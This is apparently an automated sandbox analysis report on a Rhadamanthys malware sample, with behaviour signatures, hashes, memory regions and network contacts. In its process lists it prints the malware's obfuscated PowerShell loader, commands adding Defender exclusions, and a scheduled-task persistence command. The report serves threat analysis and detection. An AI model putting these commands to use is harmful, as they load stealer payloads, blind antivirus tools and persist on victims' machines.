Analysis Overview
SHA256
0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a
Threat Level: Known bad
The file 0b64671581f1f8be974fdea937942df072341dc17f146fa96f0c75b802c8ed5a was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Downloads MZ/PE file
Loads dropped DLL
Executes dropped EXE
Program crash
Unsigned PE
Uses Task Scheduler COM API
Suspicious behavior: CmdExeWriteProcessMemorySpam
GoLang User-Agent
Suspicious use of AdjustPrivilegeToken
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Detects videocard installed
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-04 12:27
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-04 12:27
Reported
2024-04-04 12:31
Platform
win10v2004-20240226-en
Max time kernel
146s
Max time network
155s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 964 created 2896 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\svchost.exe |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\driver1.exe | N/A |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
GoLang User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\dialer.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\dialer.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\dialer.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
C:\Windows\system32\cmd.exe
cmd /C "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""
C:\ProgramData\driver1.exe
C:\ProgramData\driver1.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\driver2.cmd
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\schtasks.exe
schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 964 -ip 964
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2432
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 964 -ip 964
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2376
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 178.223.142.52.in-addr.arpa | udp |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
| US | 8.8.8.8:53 | 90.156.221.77.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 202.110.86.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.162.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.171.91.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.189.79.40.in-addr.arpa | udp |
Files
memory/3656-9-0x00000281ECA10000-0x00000281ECA32000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0tidxdv.hwq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3656-10-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp
memory/3656-11-0x00000281EA890000-0x00000281EA8A0000-memory.dmp
memory/3656-12-0x00000281EA890000-0x00000281EA8A0000-memory.dmp
memory/3656-13-0x00000281EA890000-0x00000281EA8A0000-memory.dmp
memory/3656-16-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/716-18-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp
memory/716-19-0x000002541B420000-0x000002541B430000-memory.dmp
memory/716-20-0x000002541B420000-0x000002541B430000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d28a889fd956d5cb3accfbaf1143eb6f |
| SHA1 | 157ba54b365341f8ff06707d996b3635da8446f7 |
| SHA256 | 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45 |
| SHA512 | 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c |
memory/716-31-0x000002541B420000-0x000002541B430000-memory.dmp
memory/716-32-0x000002541B420000-0x000002541B430000-memory.dmp
memory/716-34-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp
C:\ProgramData\driver1.exe
| MD5 | eb93f3965887e8796917d34d40c0869d |
| SHA1 | 10976e4bc2a7d412550048c06def0b0ebba77eb6 |
| SHA256 | 31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5 |
| SHA512 | b743c9ef3fe72f7e79c16929ee6d00cd4a0961309ea73f12b599bf5217b271bef61ac1981fed8a2b48187c5ad8ca18d572d7076d335f0440c52f77f47cd81281 |
C:\ProgramData\driver2.cmd
| MD5 | d14ef6e6b689c92514b92b7865f622c6 |
| SHA1 | 03a0aaafd831d9c07784744e0358b83e506402ab |
| SHA256 | 2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036 |
| SHA512 | 87754c793b4abc0066588cf60cff7b763090e2680aa3bc889e9f36ecaee28f18ea0ab1bb37d7049781079197237d83bb0995b61caa87888df4556ae921973d0c |
memory/964-42-0x0000000074F10000-0x00000000756C0000-memory.dmp
memory/964-43-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/964-44-0x0000000005320000-0x0000000005356000-memory.dmp
memory/964-45-0x0000000005B10000-0x0000000006138000-memory.dmp
memory/964-46-0x0000000005A10000-0x0000000005A32000-memory.dmp
memory/964-47-0x0000000006140000-0x00000000061A6000-memory.dmp
memory/964-48-0x00000000061B0000-0x0000000006216000-memory.dmp
memory/964-58-0x00000000062C0000-0x0000000006614000-memory.dmp
memory/964-59-0x0000000006810000-0x000000000682E000-memory.dmp
memory/964-60-0x00000000068B0000-0x00000000068FC000-memory.dmp
memory/964-61-0x0000000006D90000-0x0000000006DD4000-memory.dmp
memory/964-62-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/964-63-0x0000000007B00000-0x0000000007B76000-memory.dmp
memory/964-64-0x0000000008200000-0x000000000887A000-memory.dmp
memory/964-65-0x0000000007BA0000-0x0000000007BBA000-memory.dmp
memory/1508-66-0x0000000074F10000-0x00000000756C0000-memory.dmp
memory/1508-67-0x0000000005570000-0x0000000005580000-memory.dmp
memory/1508-68-0x0000000005570000-0x0000000005580000-memory.dmp
memory/1508-78-0x0000000005570000-0x0000000005580000-memory.dmp
memory/1508-81-0x0000000074F10000-0x00000000756C0000-memory.dmp
memory/964-82-0x0000000002E60000-0x0000000002E68000-memory.dmp
memory/964-84-0x0000000077931000-0x0000000077A51000-memory.dmp
memory/964-85-0x0000000007FA0000-0x0000000007FE6000-memory.dmp
memory/964-86-0x0000000005660000-0x000000000566C000-memory.dmp
memory/964-87-0x0000000000400000-0x000000000046D000-memory.dmp
memory/964-92-0x0000000074F10000-0x00000000756C0000-memory.dmp
memory/964-93-0x000000000A980000-0x000000000AD80000-memory.dmp
memory/964-94-0x0000000000400000-0x000000000046D000-memory.dmp
memory/964-95-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/964-97-0x000000000A980000-0x000000000AD80000-memory.dmp
memory/964-96-0x000000000A980000-0x000000000AD80000-memory.dmp
memory/964-99-0x000000000A980000-0x000000000AD80000-memory.dmp
memory/964-98-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp
memory/964-101-0x0000000075A90000-0x0000000075CA5000-memory.dmp
memory/3892-102-0x0000000000A00000-0x0000000000A09000-memory.dmp
memory/3892-105-0x0000000002520000-0x0000000002920000-memory.dmp
memory/3892-104-0x0000000002520000-0x0000000002920000-memory.dmp
memory/964-107-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3892-106-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp
memory/3892-110-0x0000000002520000-0x0000000002920000-memory.dmp
memory/3892-109-0x0000000075A90000-0x0000000075CA5000-memory.dmp
memory/3892-111-0x0000000002520000-0x0000000002920000-memory.dmp
memory/964-112-0x0000000074F10000-0x00000000756C0000-memory.dmp
memory/964-113-0x000000000A980000-0x000000000AD80000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-04-04 12:27
Reported
2024-04-04 12:30
Platform
win7-20240221-en
Max time kernel
121s
Max time network
123s
Command Line
Signatures
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1
Network
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-04-04 12:27
Reported
2024-04-04 12:31
Platform
win10v2004-20240226-en
Max time kernel
93s
Max time network
128s
Command Line
Signatures
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\opengl32.dll,#1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.66.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 202.110.86.104.in-addr.arpa | udp |
Files
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-04 12:27
Reported
2024-04-04 12:30
Platform
win7-20240221-en
Max time kernel
119s
Max time network
124s
Command Line
Signatures
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\driver1.exe | N/A |
| N/A | N/A | N/A | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Loader.exe | N/A |
| N/A | N/A | N/A | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
GoLang User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
C:\Windows\system32\cmd.exe
cmd /C "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""
C:\ProgramData\driver1.exe
C:\ProgramData\driver1.exe
C:\Windows\system32\cmd.exe
cmd /c C:\ProgramData\driver2.cmd
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd
C:\Windows\system32\cmd.exe
